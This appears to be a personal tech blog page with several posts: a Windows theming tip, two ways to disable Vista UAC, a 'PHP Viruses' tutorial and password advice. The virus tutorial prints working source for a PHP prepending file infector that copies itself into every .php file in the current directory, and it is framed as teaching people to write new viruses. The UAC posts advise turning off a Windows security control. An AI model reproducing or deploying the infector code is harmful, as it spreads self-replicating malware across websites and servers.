AlienGUIse

If wout want your Windows computer to look something like this:

screenshot-5

Then you need to download the AlienGUIse program from alienware. The Mac like bar at the bottom of the screen is another program that I will write about later…….

How to disable Vista UAC (REGEDIT Version)

Here is how to disable the VISTA UAC by editing the registry.

go to start->run and type REGEDIT
go to :

HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/Policies/System

Locate the following DWORD value:
EnableLUA
change its value to 0
close the registry and reboot.

How to disable Vista UAC (MSCONFIG Version)

Ifyou are like me the constant popups in Vista that ask for permission to
follow through with an action drives you absolutely nuts! Here is how
to disable it:

go to start->run and type MSCONFIG
Click on the tools tab and scroll down to Disable UAC. You want to click this line.
Push the “launch” button
A CMD (Command prompt) will open. Once the command completes close this window.
Close REGEDIT and reboot your PC.

The UAC is now disabled ;)

PHP Viruses

WARNING: THIS IS FOR EDUCATIONAL PURPOSES ONLY! I AM NOT RESPONSIBLE FOR HOW YOU USE THIS INFORMATION!!!!!
0) Intro Words
PHP, abbreviate: ‘Hypertext Preprocessor’, is a very common script language for the world-wide-web. You’re possible to do nearly everthing internet related with that language. That means, you’re also able to make viruses for it. The first virus for PHP, PHP.Pirus by MaskBits/VXI, was done in October 2000, and was released in 29A#5. It was no real virus, moreover a companion. It writes to every PHP-file in the current directory a line, which let the victim run the virus. But the host doesn’t contain the virus. After searching something about PHP viruses I found out that there is no high-tech PHP virus so far out, because all the virus I could find are rips of PHP.Pirus (useing the same prinzip). That was my inspiration in writing such an article. I wanted to make something totally new, and I guess I had success. I tested every source with PHP 4.3.3, and everthing worked fine. Now go on reading this and learn something about PHP viruses!

1) File Infection
That’s maybe the most important thing, when you want to make a PHP virus, therefor I want to explain you, how you can infect files with PHP. It should be no problme to understand the examples, because I tried it to make as simple as possible. When the article was written (autumn 2003), there was no real file infector out there. The only interesting PHP virus so far is MaskBits’ PHP.Pirus, which don’t infect files, but use the command ‘include’ that the virus is executed in every PHP file in the current dir. You may think ‘Why does he tell me this?”. I don’t know, just for fun . Now let me explain you how to infect files.

a) Prepending
A prepender copies it’s code infront of the victim’s code, therefor it will be executed before the victim. That’s the main idea of this kind of infection. But there are some other important things you have to note: To get the virus out of the file, you need any information about where the virus is. In my example the virus uses the first 391 bytes. Next important thing is, that you must not infect a file two times. What do to against that? Check, if the file if already infected. In the following example the virus searchs in the first 13 bytes (in an infected file it’s this code: ‘
PHP Prepender Virus Example
$string=fread(fopen(__FILE__,’r'), 391);
$curdir=opendir(‘.’);
while ($file = readdir($curdir))
{
if (strstr($file, ‘.php’))
{
$victim=fopen($file, ‘r+’);
if (!strstr(fread($victim, 13), ‘SPTH’))
{
rewind($victim);
fwrite($victim, $string.fread($victim, filesize($file));
}
fclose($victim);
}
}
closedir($curdir);
?>

As this is a real easy virus, you should understand it quickly while looking at it. Now i’m going to give you the most important things the example does:

Reading the first 391 bytes (which is exactly the virus size)
Searchs for every .PHP file in the current directory
If not infected, reading the victim

Read the rest of this entry »

Howto choose a strong password

Your passwords allows you access to your personal data while keeping others out. For this reason it is important that you choose strong passwords. If you follow these tips you will have a very strong password:

1. Make you password long. Each character you add to your password makes it many times stronger. Ideally your password should be 12-14 characters long. Most modern systems allows you to input a space in your password. This allows you to use a phrase as your password which is not only stronger, but easier to remember.

2. Use a wide variety of characters. The more different types of characters you use in your password you use the stronger and harder to crack it will be.

3. Don’t just use the common characters. Throw in some lesser used characters to increase the strength of your password.

4. Avoid repeated characters. Try not to include the same character next to itself in the password. For example don’t use 1223, instead use perhaps 1232.

5. Don’t use your login name. Don’t ever make your password the same as your user name. This is often the first thing a hacker will try when trying to crack a password.

6. Don’t use words in the dictionary. Ok, this one may sound odd. There are many tools out there to crack passwords that can crack a dictionary word password in no time flat.

7. Avoid same passwords. In other words, try not to use the same password for other sites. If you do your other information will be compromised if your password is cracked.

8. Don’t use digital storage. Don’t store your password in a digital file. This makes it much easier for a hacker to find.

Assuming you follow these guidelines you will have done everything in your power to help protect your identity and data with your passwords.

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